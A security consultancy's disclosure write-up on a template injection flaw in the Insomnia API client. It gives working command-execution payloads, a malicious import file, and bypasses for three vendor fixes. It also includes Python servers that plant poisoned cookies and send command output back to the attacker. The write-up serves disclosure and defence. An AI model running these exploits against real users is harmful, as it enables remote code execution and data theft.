As an offensive security services consultancy, our clients ask us to test various types of computer systems. Corporate networks, client-side software, web applications, APIs, and so on. We need to use the right tools for the job. Sometimes these tools are outright “hacker” tools. Sometimes they’re the same tools that a software developer would use - you can think of things like IDEs and debuggers. Sometimes they’re a bit in-between.

When we’re testing an API, we often use the same kinds of software that an API developer (or API integrator) would use. A good API Client allows us to easily interact with the system we’re testing. Sure, you can use curl to test an API, but you can also use a magnetized needle and a steady hand to write code. If there’s a better tool for the job, why not use it?

This is the story of how our Technical Director Marcio Almeida stumbled upon a serious security issue in the Insomnia API Client by Kong. He dug into it with the help of Justin Steven, our Head of Research. They found that by simply importing a malicious collection file or sending an API request to a malicious server, arbitrary code execution could be triggered via template injection within the Insomnia API Client.

Whether you’re an API developer or an API security tester, you need to be mindful of the quality-of-life functionality in your tools, and ways in which that functionality can be used against you by malicious collection files or malicious API servers.

We worked closely with Insomnia’s creator, Kong, providing them with multiple rounds of feedback and bypasses for the fixes they produced. Despite this, the issue is still remotely exploitable in the latest version of Insomnia as of the time of writing (version 11.2.0)

Mitigations

As this issue is exploitable in the latest version of Insomnia as of the time of writing, users should consider the following mitigations.

  • Be mindful that importing files can introduce dangerous template strings. Do not import files that you do not trust, and consider inspecting files for template expressions (denoted using {{ double curly braces }}) before importing them; AND
  • Be mindful that pasting values into various fields, including the URL, query parameters, body parameters, cookies and environment variables can introduce dangerous template strings. Inspect data for template expressions before pasting it into Insomnia; AND
  • Be mindful that server-provided cookies can introduce dangerous template strings.
    • Only send HTTP requests to servers that you trust to not respond with malicious cookies; OR
    • Disable cookie storing and/or sending - note that this needs to be done on a per-request basis.

Disabling cookies may be viable for some, as most modern API authentication uses Bearer tokens rather than HTTP cookies.

Alternatively, seeing as Insomnia is open source (Apache Version 2.0) consider patching out the use of Nunjucks. We found that returning early from this function seems to prevent all template expressions from being rendered.

diff --git a/packages/insomnia/src/common/render.ts b/packages/insomnia/src/common/render.ts
index 5c27a562d..33465049e 100644
--- a/packages/insomnia/src/common/render.ts
+++ b/packages/insomnia/src/common/render.ts
@@ -258,6 +258,7 @@ export async function render<T>(
   const undefinedEnvironmentVariables: string[] = [];

   async function next<T>(input: T, path: string, first = false) {
+    return input;
     if (blacklistPathRegex && path.match(blacklistPathRegex)) {
       return input;
     }

We are not sure that this completely disables rendering via Nunjucks, and we are not sure that it covers all possible pathways to rendering via Nunjucks. We are also not sure that it does not break some important functionality within Insomnia. Your mileage may vary, here be dragons, so on and so forth.

Marcio and his API Testing Loadout

Our story starts innocently enough. I was delivering an API penetration test for a client and rocking out with my toolchain of choice.

When we do API testing for a client, we generally ask for a few things to get us started. If it’s a SOAP API we ask for a WSDL file. If it’s a RESTful API we ask for Swagger/OpenAPI files, and if it’s gRPC we ask for the .proto files. If a client doesn’t have these, we ask for any documentation they do have that describes the API endpoints and the parameters they take.

We also ask for a Postman or Insomnia file that showcases particularly interesting API endpoints and example operations. It’s great to get comprehensive documentation of the APIs, but having a few “recipes” that we can take for a spin really helps us get our teeth into the most important functionality and mechanisms of the API.

We load these files into our API Client of choice. Most modern API Clients can import data from each others’ files. The API Client allows us to fire off the example requests crafted by our customer. From there, we can create our own requests and automate workflows with the support of the API specification file (such as Swagger or WSDL). Having a solid API Client puts us in good stead to get underway with testing.

My API Client of choice is Insomnia. Many security testers (myself included) used to use Postman. With Postman’s decision to discontinue the local scratch pad functionality, some have expressed concerns that the full-featured aspects of Postman seem to require users to sync data to the cloud. This kind of data sharing is not appropriate for sensitive security testing, hence my preference for Insomnia in its local-only scratchpad mode.

I had wired up Insomnia to use Burp Suite as its upstream HTTP proxy. This gave me the best of both worlds. I was able to use Insomnia to craft my API requests, assisted by the spec file and example requests provided by our client, while still being able to see every HTTP request and response in Burp. If I wanted to dig deeper on something, or fuzz a particular value, or just send a more “flexible” style of request than Insomnia would let me do, then I could always use Burp’s Repeater or Intruder tool to do so.

So here I am, testing the API using Insomnia. I’m firing off requests, exploring the API, and trying various payloads in various fields to see what would come back. I happened to send a payload to test for Server-Side Template Injection (SSTI) vulnerabilities in the API itself.

Server-Side Template Injection (SSTI)

Let’s take a moment to discuss the nature of SSTI bugs. If you’re already familiar with SSTI, feel free to skip ahead.

SSTI is a vulnerability class in which untrusted data is “rendered” as a template by the server. When I say “template”, I mean something like a Jinja2 template or Mustache template. “Untrusted data being rendered as a template” is a bit trickier to get ones head around. It is safe to render untrusted data into a template, but when rendering unsafe data as a template - that is, where an attacker can control part of all of the template itself - things can go awry.

Consider something like the following:

#!/usr/bin/env python3
import jinja2

name = "Marcio"
age = 38

template = jinja2.Template("Hello, {{name}}! You are {{age}} years old.")
rendered = template.render(name=name, age=age)
print(rendered)
% ./poc.py
Hello, Marcio! You are 38 years old.

This is safe, even if the name and age values are attacker-controlled. They’re being interpolated into the template solely using Jinja2 rendering. Everything is fine.

What’s not fine is something like the following:

#!/usr/bin/env python3
import jinja2

name = "Marcio"
age = 38

template = jinja2.Template("Hello, " + name + "! You are {{age}} years old.")
rendered = template.render(age=age)
print(rendered)
% ./poc.py
Hello, Marcio! You are 38 years old.

Even though, in this case, it produces identical output, it’s an unsafe use of a templating engine. The difference is that the name value is being pre-populated into the template over which we do our rendering. If the name value contained its own template markup, it would be obeyed by the rendering engine.

  • Good: Rendering external data into templates using the template engine
  • Bad: Inserting external data into a template, and then rendering that template using the template engine

If instead we gave a name value of {{[].__class__}} the point starts to become clearer:

% ./poc.py
Hello, <class 'list'>! You are 38 years old.

Being able to control the template (or even just a part of it) that is yet to be rendered is quite powerful. We can bring our own {{template expressions}} to the party and start to influence the behaviour of the template rendering in interesting ways.

With a bit of ingenuity and our good friend the Jinja2 SSTI page on HackTricks we can arrive at the following:

#!/usr/bin/env python3
import jinja2

name = "{{''.__class__.__mro__[1].__subclasses__()[212]()._module.__builtins__['__import__']('os').system('id')}}"
#         ^  ^         ^       ^  ^                ^              ^- import 'os' and execute a command
#         |  |         |       |  |                |- <class 'warnings.catch_warnings'> (on my machine)
#         |  |         |       |  |- Subclasses of object (list)
#         |  |         |       |- <class 'object'>
#         |  |         |- Method Resolution Order (list)
#         |  |- <class 'str'>
#         |- Empty string

age = 38

template = jinja2.Template("Hello, " + name + "! You are {{age}} years old.")
rendered = template.render(age=age)
print(rendered)
% ./poc.py
uid=1000(marcio) gid=1000(marcio) groups=1000(marcio),27(sudo),44(video)
Hello, 0! You are 38 years old.

When we put this monstrosity of a chain inside the magic double squiggly brackets, it executes an external command as soon as it’s rendered. Again, this doesn’t matter if the attacker-controlled data is inserted by the templating engine. It’s only a problem when the untrustworthy data makes its way into the template before the rendering step.

Generally speaking, if an attacker can partially or entirely control the contents of the template before the template rendering step is called, and if the templating engine provides enough flexibility and functionality for the template to be able to do something dangerous, we have what we normally refer to as an SSTI vulnerability.

As shown above, Jinja2 is flexible and powerful enough to get to a command execution sink from the rendering step. On the other hand, templating engines like Mustache are advertised as “Logic-less” and provide insufficient flexibility for an attacker-controlled template to do something interesting or malicious (at least as far as we know - let us know if you have any cool Mustache template injection tricks!)

One fish, two fish, red fish, 49 fish?

Ok, so. Here I am, testing our client’s API using Insomnia proxied through Burp. I’m firing off requests, exploring the API, and trying various payloads in various fields to see what would come back. I got to the stage of my testing where I’m looking for SSTI bugs.

I jam {{7*7}} into an interesting-looking field in one of the API requests and hit “Send” through the Insomnia client. If it gets reflected to me as {{7*7}} then everything is good, but if it comes back as 49 then I’ve achieved template injection on the server and I’m effectively using it as a complicated desk calculator (for now).

To my surprise, it comes back as 49! \o/ Fist pumps and high-fives all round.

In my mind, the client’s API was doing server-side template rendering, and is falling for my 7 * 7 = 49 trap. I excitedly tab over to Burp Suite to capture the request and response for our reporting.

I can see that the HTTP response indeed contains 49. But I can see that the request that was sent also contains 49.

The API wasn’t vulnerable to SSTI. Insomnia did the calculation locally and sent 49 to the API in the first place.

Wait, what?

This was totally unexpected. When I was using Insomnia to send {{7*7}} to the API, I was thinking it would literally send {{7*7}}. Instead, it locally calculated the result and used 49 in the request. This smells like SSTI, except instead of happening on the server-side, it was happening locally within the Insomnia app itself. And so I guess this isn’t Server-Side Template Injection any more. It’d probably be best to call it Client-Side Template Injection, or just Template Injection for short.

As much as I love the smell of unexpected attack surface, I love delivering quality work for clients even more 🫶 I pushed this onto my list of research projects and wrapped up the job.

A bug? Or a feature?

When my next chance for research came around, I fired up Insomnia and started to think about what could be going on.

As best we can tell, this behaviour relates to Insomnia’s support of what they call Environment Variables. A user of Insomnia can configure an environment variable in the GUI of Insomnia, and then reference those variables in their API requests. Insomnia will then dynamically substitute the value of the variable at the time of making the request.

For example, using Insomnia 10.3.1 on Linux, we can click “Base Environment” and then the edit icon next to “Collection Environments” to reach the following screen:

A screenshot of Insomnia’s environment editing screen. It is blank, but it provides the opportunity to add “Name” and “Value” pairs. Down the bottom of the screen, there is text that says “Environment data can be used for Nunjucks Templating in your requests”

This allows us to add “Name” and “Value” pairs. Also, down the bottom of the screen is the text:

Environment data can be used for Nunjucks Templating in your requests

This is our first hint that environment variables are indeed templated in using an engine - specifically, the Nunjucks engine.

Using this screen we can create a new variable:

Name: foobar
Value: fizzbuzz

We can then return to the scratchpad. In the URL field we can type:

https://tantosec.com/{{foobar}

(Yes, the curly braces are intentionally not balanced)

And Insomnia will show the following in the URL preview field:

https://tantosec.com/%7B%7Bfoobar%7D

Upon entering the final }, the URL preview switches to say:

https://tantosec.com/fizzbuzz

That is, as soon as we finish typing a valid template element, Insomnia immediately renders it, apparently using the Nunjucks engine.

Nunjucks template injection

Before we get too excited and start wondering how we could use this surprise functionality, we need to ask an important question. Is Nunjucks a templating engine that is worth injecting into? Recall that template injection in the context of Python’s Jinja2 can lead to arbitrary command execution, but this isn’t necessarily the case when it comes to templating languages and engines.

Given that the Nunjucks documentation clearly says:

User-Defined Templates Warning

nunjucks does not sandbox execution so it is not safe to run user-defined templates or inject user-defined content into template definitions. On the server, you can expose attack vectors for accessing sensitive data and remote code execution. On the client, you can expose cross-site scripting vulnerabilities even for precompiled templates (which can be mitigated with a strong CSP). See this issue for more information.

We would assume it is indeed powerful enough to be worth injecting into.

Digging through the tplmap source code we find a viable-looking evaluate and command execution sequence for Nunjucks. Cleaned up, it looks like this:

range.constructor("return require('child_process').execSync('<COMMAND GOES HERE>')"()

Pasting the following URL into Insomnia 10.3.1:

https://tantosec.com/#{{range.constructor("return require('child_process').execSync('echo Arbitrary command execution as $(whoami)')")()}}

Causes the following to occur:

A screenshot of Insomnia. The malicious URL has been pasted into the URL field, and below it is a URL Preview that shows the text “https://tantosec.com/#Arbitrary%20command%20execution%20as%20marcio

It’s a bit of a mess, what with the URL encoding and all. If you squint, the URL Preview field says “Arbitrary command execution as marcio”.

Just by pasting a malicious URL into Insomnia’s URL field, we’ve triggered arbitrary command execution! At this stage, the pasted payload could do whatever we wanted - collect the user’s SSH keys and environment variables and phone them home to our own server, or install malware on the user’s machine.

For reasons that will become clear later on, it would be useful to not need to depend on being able to see the command output in a UI field such as the URL Preview. The following will throw a popup containing our command output instead.

https://tantosec.com/#{{range.constructor("alert(require('child_process').execSync('echo Arbitrary command execution as $(whoami)')); return ''")()}}

A screenshot of Insomnia. The malicious URL has been pasted into the URL field. In the foreground is a popup that shows the text “Arbitrary command execution as marcio”.

This demonstrates that pasting a URL containing malicious Nunjucks template expressions can trigger arbitrary command execution within Insomnia. However, this is a relatively high User Interaction requirement. It would require socially engineering a user into pasting a crafted and ugly URL into the application. There needs to be a better way!

Going beyond “Copy Paste” - File Import

Insomnia allows us to export HTTP requests to a file (JSON or YAML). If we export the malicious request to such a file, delete the request, import the file, and click on the imported request, then the payload will trigger.

Example Insomnia file that achieves this
_type: export
__export_format: 4
__export_date: 1970-01-01T00:00:00.060Z
__export_source: insomnia.desktop.app:v10.3.1
resources:
  - _id: req_251a4d941e424131a8212cecd2ba95ee
    parentId: wrk_scratchpad
    modified: 0
    created: 0
    url: https://tantosec.com/#{{range.constructor("alert(require('child_process').execSync('echo
      Arbitrary command execution as $(whoami)')); return ''")()}}
    name: New Request
    description: ""
    method: GET
    body: {}
    parameters: []
    headers:
      - name: User-Agent
        value: insomnia/10.3.1
    authentication: {}
    metaSortKey: -0
    isPrivate: false
    pathParameters: []
    settingStoreCookies: true
    settingSendCookies: true
    settingDisableRenderRequestBody: false
    settingEncodeUrl: true
    settingRebuildPath: true
    settingFollowRedirects: global
    _type: request
  - _id: wrk_scratchpad
    parentId: null
    modified: 0
    created: 0
    name: Scratch Pad
    description: ""
    scope: collection
    _type: workspace
  - _id: env_99d30891da4bdcebc63947a8fc17f076de878684
    parentId: wrk_scratchpad
    modified: 0
    created: 0
    name: Base Environment
    data: {}
    dataPropertyOrder: null
    color: null
    isPrivate: false
    metaSortKey: 0
    environmentType: kv
    _type: environment
  - _id: jar_99d30891da4bdcebc63947a8fc17f076de878684
    parentId: wrk_scratchpad
    modified: 0
    created: 0
    name: Default Jar
    cookies: []
    _type: cookie_jar

This may be a more elegant exploitation strategy. It still involves social engineering, but asking someone to import a file into Insomnia may be more plausible than asking them to paste a particular value into the UI.

However, we were still not totally satisfied with this. We wanted to find a way that a remote server could trigger the behaviour in Insomnia just by returning crafted data over HTTP, and so we began hunting.

Spoilt for choice

It turns out, the URL field isn’t the only field in Insomnia that hands off to the Nunjucks templating engine. All of the following fields trigger the popup when a malicious template string is pasted into them:

  • The URL field for a HTTP request
  • HTTP request query parameters - both the key and value fields
  • HTTP request path parameters - the value field (The key is given by a path component that starts with a colon)
  • HTTP request body - most fields (e.g. form data name and value fields)
  • The “Manage Environments” screen - both the key and value fields when adding or editing an environment variable
  • The “Manage Cookies” screen - the key, value, domain and path fields when adding or editing a cookie

And probably many more.

We considered that, of these fields, cookies would probably be our best shot as a HTTP server. We could set a cookie using the Set-Cookie HTTP response header, hopefully populate the user’s Cookie Jar with a poisoned cookie, and achieve template injection as a remote and untrustworthy HTTP server.

Going beyond “Copy Paste” - HTTP Cookies

First things first, does Insomnia’s Cookie Jar even respect the Set-Cookie header? Let’s host a HTTP route that sets a simple cookie.

We’ll be using bottle to write our webservers:

% python3 -m pip install bottle==0.13.3

Let’s write the code:

#!/usr/bin/env python3
from bottle import response, route, run


@route('/')
def endpoint():
    response.set_cookie('my-cookie-key', 'my-cookie-value', path='/')
    return 'Hello, world!'


run(host='0.0.0.0', port=8080)

And run it:

% ./set-cookie.py
Bottle v0.13.3 server starting up (using WSGIRefServer())...
Listening on http://0.0.0.0:8080/
Hit Ctrl-C to quit.

In the Insomnia client we can send a HTTP request to this webserver and confirm that a cookie has successfully been set:

A screenshot of Insomnia showing that our cookie has been set, and appears in the list of cookies in the Insomnia cookie jar

Great. Insomnia will take a Set-Cookie header and will populate the cookie jar. This gives the remote server control over fields such as the cookie name and the cookie value - fields that we know trigger the template engine from our copy-paste adventures.

We need to replace the semicolon in our payload however, as it’s not a valid character in a cookie value. To maintain our strategy so far (of returning empty string from the template expression) we’ll craft a sequence of boolean conditionals that allows us to trigger our alert within the return statement itself, while still always returning empty string. Also, note that we were getting strange inconsistencies until we juggled the types of quotes we were using until things hit just right. We put this down to cookies being a bit finicky with special characters, and perhaps Insomnia handling them strangely.

In the end, we settled on:

#!/usr/bin/env python3
from bottle import response, route, run


@route('/')
def endpoint():
    response.set_cookie('exploit',
                        ('''{{range.constructor('return(alert(require'''
                        '''("child_process").execSync("echo Arbitrary'''
                        ''' command execution as $(whoami)"))&&false)'''
                        '''||""')()}}'''),
                        path='/')
    return 'Hello, world!'


run(host='0.0.0.0', port=8080)

Using Insomnia to send a HTTP request to this webserver and then opening the cookie jar triggers our payload!

A screenshot of Insomnia’s cookie editing feature with a popup in front of it. The popup says “Arbitrary command execution as marcio”.

This is great. We are now remotely providing a value which ends up in a Nunjucks template rendering sink upon navigating to the cookie editing functionality.

This is still relatively high user interaction though. To pull it off, we need a victim to:

  1. Send a HTTP request to our server; and then
  2. Manually navigate to the Cookie Jar dialog, which is perhaps a rarely done thing

The reason for the complexity is probably because cookies aren’t rendered when they’re put in the cookie jar, they’re only rendered as needed by the UI. It would be amazing if we could trigger rendering of cookies within the cookie jar (including attacker-provided cookies) without needing user interaction…

As it turns out, sending any follow-up HTTP request to the malicious server will cause the cookie from the cookie jar to be attached to the request, and doing so seems to render the cookie in the background. This is presumably because it’s intended functionality in Insomnia for a user to define a cookie containing templating sequences. It would make sense for Insomnia to defer rendering such a cookie until such time as it’s used, and it would make sense to do this rendering each and every time it’s used, just in case the template represents some dynamic data that has changed since the last time it was rendered.

And so by sending to back-to-back requests to our malicious server, we can trigger arbitrary command execution!

In our testing, the malicious cookie for our malicious webserver’s domain is even rendered somewhere in the background for requests to other, non-malicious sites. This seems to be the case for each request to the unrelated site, until such time as that site sets its own cookie. We can’t explain why this is happening, but it might be the case that this bug can be exploited with a single request to a malicious site, followed up by a request to any site.

Loot pls

In fact, because the rendering is happening for the purpose of interpolating data into the cookie that will be sent to the server, we can use the cookie’s value as an exfiltration channel to receive the output of executed commands.

Our final proof of concept exploit is as follows:

#!/usr/bin/env python3
import base64
from bottle import response, request, route, run

payload = 'echo Arbitrary command execution as $(whoami)'
payload_b64 = base64.b64encode(payload.encode()).decode()
tag = 'd850707302a64e5489f27de4f95ec8bd'


@route('/')
def endpoint():
    loot = request.get_cookie(tag)
    if loot is not None:
        try:
            loot_decoded = base64.b64decode(loot.encode()).decode()
            print(f'Loot: {loot_decoded}')
        except:
            # yolo
            pass
    response.set_cookie(tag,
                        ('''{{range.constructor('return btoa(require'''
                        '''("child_process").execSync(atob("''' +
                        payload_b64 +
                        '''")))')()}}'''),
                        path='/')
    return 'Hello, world!'


run(host='0.0.0.0', port=8080)

It uses base64 encoding over the payload, and over the result of executing the payload, to prevent special characters from causing trouble.

Running the server and making two back-to-back requests to it, we get the following output on the attacker’s end:

% ./exploit.py
Bottle v0.13.3 server starting up (using WSGIRefServer())...
Listening on http://0.0.0.0:8080/
Hit Ctrl-C to quit.

172.18.0.4 - - [15/Jun/2025 20:18:14] "GET / HTTP/1.1" 200 13
Loot: Arbitrary command execution as marcio

172.18.0.4 - - [15/Jun/2025 20:18:16] "GET / HTTP/1.1" 200 13

We can reliably trigger arbitrary command execution with just two HTTP requests from our victim, and we get the output phoned home to us for free. Nice!

Reporting the issue to Kong

Tanto has a Vulnerability Disclosure Policy that we follow when we find vulnerabilities in open-source or commercial software. The tl;dr is that we report the issue to the author or maintainer, and work collaboratively with them to deliver a high-quality fix. Once the issue is patched, or after up to 120 days, we publish details of the issue.

The Security Policy on Insomnia’s GitHub repo kindly asks folks that find security bugs in Insomnia send mail to Kong. Furthermore, at the time that we found this vulnerability, Kong had a self-managed Bug Bounty program that covered Insomnia. They have since moved to a private program on HackerOne.

We sent mail to Kong in February 2025. At this time we hadn’t realised the potential of exploitation via cookies, and so our report focused on exploitation via file import. Kong responded quickly, saying they were already aware of the issue, and that while a fix would not be forthcoming they would consider adding a warning upon file import.

Indeed, at this time, we came across a public issue on the Insomnia GitHub repo. “Dangerous usage of templating language can lead to remote code execution” was submitted in 2020 and discusses the potential for exploitation via file import. It spent two days closed in 2021, but has otherwise been open, and remains open as of the time of writing. Someone (presumably from Kong) wrote in 2020 that they “want to address” the issue but they need to “do it in the right way and [not] break any use-cases of plugins or existing workspaces / requests while doing so”.

Within a few days, we developed the technique to exploit the issue via cookies and sent mail to Kong sharing the details. We hoped that the remote nature of exploitation method might change their deemed risk of the issue and could spur a fix. It’s also at this time that we said we planned on publishing information about this as per our own Vulnerability Disclosure Policy.

Finally, we provided some of our own recommendations to Kong:

  • Consider using a less featureful, logic-less templating library, such as Mustache, which is not known to be dangerous given untrusted template strings; and/or
  • Consider displaying a warning upon importing Insomnia files, informing the user that importing an untrusted Insomnia file is a dangerous operation. Furthermore, do not do template rendering on cookies that have been set by remote webservers.

We also made the comment that sandboxing of templating or sanitisation of template strings can be brittle and error-prone. We said this because we know how attractive it can be to try to do so as a quick fix, but it often leads to a cat-and-mouse game of bypasses. More on this shortly :)

An unshipped (?) mitigation - treating “require” as a naughty word

A week later, Kong responded, saying that based on the potential for remote exploitation they were considering this to be a critical security bug with a CVSS score of 9.3. They said that they were planning on shipping a temporary mitigation with new security controls:

  1. A warning upon import of data, informing users of the security risks of untrusted templates
  2. Preventing Nunjucks from “rendering require invocations”

The first mitigation sounded sensible to us, but it would only cover exploitation via file import which we considered to be the less dangerous of the exploitation vectors.

The second mitigation sounded suspiciously like input sanitisation to us, which we had already recommended against pursuing.

Straight away, we found a commit on GitHub (dd9453fdff) which introduced the following change:

commit dd9453fdff54870a3ef4f971d9664615e3ff0f4d
Date:   Wed Feb 12 05:03:10 2025 -0800

    Short-ciruit string rendering if require invocation is detected (#8358)

    * Short-ciruit string rendering if require invocation is detected [SEC-1323] [INS-4963]

    * add sentry exception

    ---------

diff --git a/packages/insomnia/src/common/render.ts b/packages/insomnia/src/common/render.ts
index 76920f571..f2e5c2390 100644
--- a/packages/insomnia/src/common/render.ts
+++ b/packages/insomnia/src/common/render.ts
@@ -1,3 +1,4 @@
+import * as Sentry from '@sentry/electron/renderer';
 import clone from 'clone';
 import orderedJSON from 'json-order';

@@ -291,6 +292,13 @@ export async function render<T>(
     ) {
       // Do nothing to these types
     } else if (typeof x === 'string') {
+      // Detect if the string contains a require statement
+      if (/require\s*\(/ig.test(x)) {
+        console.warn('Short-circuiting `render`; string contains possible "require" invocation:', x);
+        Sentry.captureException(new Error(`Short-circuiting 'render'; string contains possible "require" invocation: ${x}`));
+        return x;
+      }
+
       try {
         // @ts-expect-error -- TSCONVERSION
         x = await templating.render(x, { context, path, ignoreUndefinedEnvVariable });

This change will effectively cause the template renderer to early-out if a template expression contains the string “require”. Furthermore, it’ll use Sentry to phone the exploitation attempt, including the payload, home to the developers. Cheeky!

There are many different ways to bypass this denylisting approach. All we need to do is obfuscate the string to the point that the regex search for “require” does not hit.

We can use string concatenation to break up the word “require”:

{{range.constructor('alert(req'+'u'+'ire("child_process").execSync("command goes here"));return ""')()}}

We can use “eval” over base64 encoding:

{{range.constructor('alert(eval(atob( `cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5j`)+`("command goes here")`));return ``')()}}

We can even use JavaScript character encoding:

{{range.constructor('alert(\\u0072equire("child_process").execSync("command goes here"));return ""')()}}

All of the above mutations will work when pasted into the URL field of a dev version of Insomnia as of commit dd9453fdff.

We sent mail to Kong on the day that they told us of their plans, asking if their strategy for preventing Nunjucks from “rendering require invocations” was the change introduced in this commit. We went on to describe the various bypasses. Kong hadn’t released a version of Insomnia with this change at this point, but we wanted to provide early feedback on the fragility of this particular change.

They got back to us the next day, saying that they appreciated our careful analysis. They said that due to this being an architectural issue, a “complete overhaul” to fix the issue isn’t feasible in the near term. The next day, they said that they were planning further mitigations along the lines of sandboxing as a more robust measure.

About five weeks later, we noticed that Insomnia 11.0.0 has been released with the following in the changelog:

Short-ciruit string rendering if require invocation is detected in #8358

It seemed as though they had shipped this fix that was provably bypassable.

We hastily sent mail to Kong asking if they considered this to be an official fix and if they were planning on publishing any kind of security notice. They got back to us the next day to say that they had actually withheld the change from this release due to “some stability issues”. That’s on us for reading the release notes and not actually testing the release! 😅

A second mitigation - rendering within a web worker

Six weeks later, we noticed that Insomnia 11.1.0 had been released. Though there is nothing in its own release notes regarding the change, the notes for Insomnia 11.1.0-beta.6 included the line:

move default templating into a web worker in #8447

Digging into this, it appeared to be a change relating to our report.

In particular, it includes a wrapper around “require” that only allows the following modules to be pulled in during template rendering:

  • crypto
  • date-fns
  • fs
  • iconv-lite
  • jsonpath-plus
  • os
  • tough-cookie
  • uuid

This would theoretically break our proof of concept, as we rely on pulling in child_process using require().

We fired up version 11.1.0 and confirmed that the following payload no longer works:

{{range.constructor("return require('child_process').execSync('echo Arbitrary command execution as $(whoami)')")()}}

We instead get an angry red error message that says:

Error: Cannot find module ‘child_process’, untrusted modules are not available in protected mode, this can be enabled in plugin settings

This lines up with the change in the above linked pull request.

However, using module.require instead of require still works:

{{range.constructor("return module.require('child_process').execSync('echo Arbitrary command execution as $(whoami)')")()}}

lol

Adjusting our previous cookie-based proof of concept:

#!/usr/bin/env python3
import base64
from bottle import response, request, route, run

payload = 'echo Arbitrary command execution as $(whoami)'
payload_b64 = base64.b64encode(payload.encode()).decode()
tag = 'd850707302a64e5489f27de4f95ec8bd'


@route('/')
def endpoint():
    loot = request.get_cookie(tag)
    if loot is not None:
        try:
            loot_decoded = base64.b64decode(loot.encode()).decode()
            print(f'Loot: {loot_decoded}')
        except:
            # yolo
            pass
    response.set_cookie(tag,
                        '''{{range.constructor('return btoa(module.require("child_process").execSync(atob("''' + payload_b64 + '''")))')()}}''',
                        path='/')
    return 'Hello, world!'


run(host='0.0.0.0', port=8080)

This still works on Insomnia 11.1.0 and returns the following to the attacker:

Loot: Arbitrary command execution as marcio

172.18.0.4 - - [15/Jun/2025 22:46:09] "GET / HTTP/1.1" 200 13

Without having heard from Kong directly about the release, we sent them mail about this discovery. We provided the module.require bypass, asked if they had assigned a CVE, again asked if they were planning on publishing a security notice for the issue, and told them that at this point we were planning to publish details of the issue after a further 30 days as per our Vulnerability Disclosure Policy.

They responded saying that Insomnia 11.1.0 includes mitigations, and said:

All proof-of-concept payloads you provided have been tested against this release and are no longer exploitable in supported contexts

They went on to say:

All previously reported payload vectors (UI input, imported files, cookies) have been neutralized and confirmed non-exploitable.

A Web Worker-based sandbox has been introduced as a temporary measure to isolate template execution.

We thought this was odd, considering we had only just given them the module.require bypass.

They said that CVE-2025-1087 had been reserved for the issue. They did not acknowledge the module.require bypass, and said that the issue qualified for a $1000 bug bounty via Amazon gift card. We thanked them for this, and asked that it be split two ways between us. We have not heard from Kong since.

A third mitigation - no more range

Our payload thus far has depended on Nunjucks’ range global function. We used it to get to its constructor which acts as an eval sink of sorts.

Insomnia 11.2.0 has been released since we last heard from Insomnia, with the following change at the end of the changelog:

patch out range global in #8771

This pull request says that it “also patches cycler”.

Indeed, pasting the following into Insomnia 11.2.0:

{{range.constructor("return module.require('child_process').execSync('echo Arbitrary command execution as $(whoami)')")()}}

Gives us an angry red error message of:

Unable to call range["constructor"], which is undefined or falsey

Considering the change also claims to patch out cycler, we are left with one final Nunjucks “Global Function” - joiner

Could it be as easy as swapping out range for joiner?

{{joiner.constructor("return module.require('child_process').execSync('echo Arbitrary command execution as $(whoami)')")()}}

Yes. Pasting this into the URL field of Insomnia 11.2.0 still triggers the issue, as does our cookie-based POC when appropriately adjusted:

#!/usr/bin/env python3
import base64
from bottle import response, request, route, run

payload = 'echo Arbitrary command execution as $(whoami)'
payload_b64 = base64.b64encode(payload.encode()).decode()
tag = 'd850707302a64e5489f27de4f95ec8bd'


@route('/')
def endpoint():
    loot = request.get_cookie(tag)
    if loot is not None:
        try:
            loot_decoded = base64.b64decode(loot.encode()).decode()
            print(f'Loot: {loot_decoded}')
        except:
            # yolo
            pass
    response.set_cookie(tag,
                        '''{{joiner.constructor('return btoa(module.require("child_process").execSync(atob("''' + payload_b64 + '''")))')()}}''',
                        path='/')
    return 'Hello, world!'


run(host='0.0.0.0', port=8080)

We haven’t heard from Kong now for over a month despite this new release, and we haven’t seen a security notice published by them regarding the issue. They have fleshed out CVE-2025-1087 with the details of the issue, but the CVE entry says that it only affects Insomnia up until version 11.0.2.

Conclusion

We think there are several interesting aspects to this issue and the way that it was handled by Kong.

Allowing untrusted data to influence a template can be unsafe

Template Injection is a particularly nasty bug class. Allowing untrusted data to partially or entirely control a template string can lead to information disclosure or arbitrary code/command execution.

The best defence is not allowing untrustworthy data to influence template strings, or using a more primitive, logic-less form of templating that prevents malicious template expressions from doing dangerous things.

Using sanitisation or sandboxing on dynamic template data can be risky

We were able to bypass three different rounds of attempted resolution for this issue.

  1. Kong implemented but did not release a change which banned the string “require” from template expressions. We were able to use obfuscation to bypass this.
  2. Kong released a change in v. 11.1.0 that does rendering within a Web Worker and wraps require to only allow loading allowlisted modules. We were able to bypass this by instead using module.require
  3. Kong released a change in v. 11.2.0 that eliminates range and cycler from Nunjucks. We were able to bypass this using joiner.

In our initial report, before Kong said it was their intention, we said that using sanitisation or sandboxing can be brittle and prone to bypasses.

Bug triage is hard and important

It was publicly reported over 5 years ago that Insomnia can be made to execute arbitrary commands if untrustworthy data reaches a Nunjucks template sink. The report has a proof of concept that involves the loading of a malicious file.

On the same day that it was reported, someone (presumably from Kong) said:

  • This is definitely something they want to address, but they need to make sure they do it in the right way and don’t break any use-cases of plugins or existing workspaces / requests while doing so
  • Maybe they will use sandboxing, but they are worried this will break existing plugins/workspaces
  • They will consider showing a warning on import when they detect the usage of templates

The issue then proceeded to sit open for over 4.5 years before we again reported the issue to Kong. How many times might they have received reports of this in the meantime?

Bug triage is hard. It can be difficult to comprehensively reason about an issue. It is sometimes easy to assume that something is too hard to exploit, or requires excessive user interaction, perhaps making it an acceptable risk.

If this was exploitable via cookies in 2020, and if Kong had considered or been told so, would they have put more attention towards a fix? We think so, considering that it wasn’t until we raised the exploitation via cookies that they deemed this a CVSS 9.3 issue and began working on mitigations.

If this wasn’t exploitable via cookies in 2020, then perhaps it would have been prudent to resolve the issue before the usage of templates spread as far as the cookie functionality, making this a remotely exploitable issue.

The security of your tools is important

Whether you are an API developer, integrator, or security tester, the security of your tooling is very important. Security bugs are prevalent in all software. Pay attention to quality of life functionality such as templating. How could it be made to work against you? Patch your software often, be mindful of the software you use, and stay frosty.

This is still exploitable

As discussed, Insomnia 11.2.0 is still exploitable. This is five years after Kong initially became aware of the general risk, four months after we raised the potential of exploitation via cookies, and after three separate attempts at fixing the issue.

In light of this, users should consider the following mitigations:

  • Be mindful that importing files can introduce dangerous template strings. Do not import files that you do not trust, and consider inspecting files for template expressions (denoted using {{ double curly braces }}) before importing them; AND
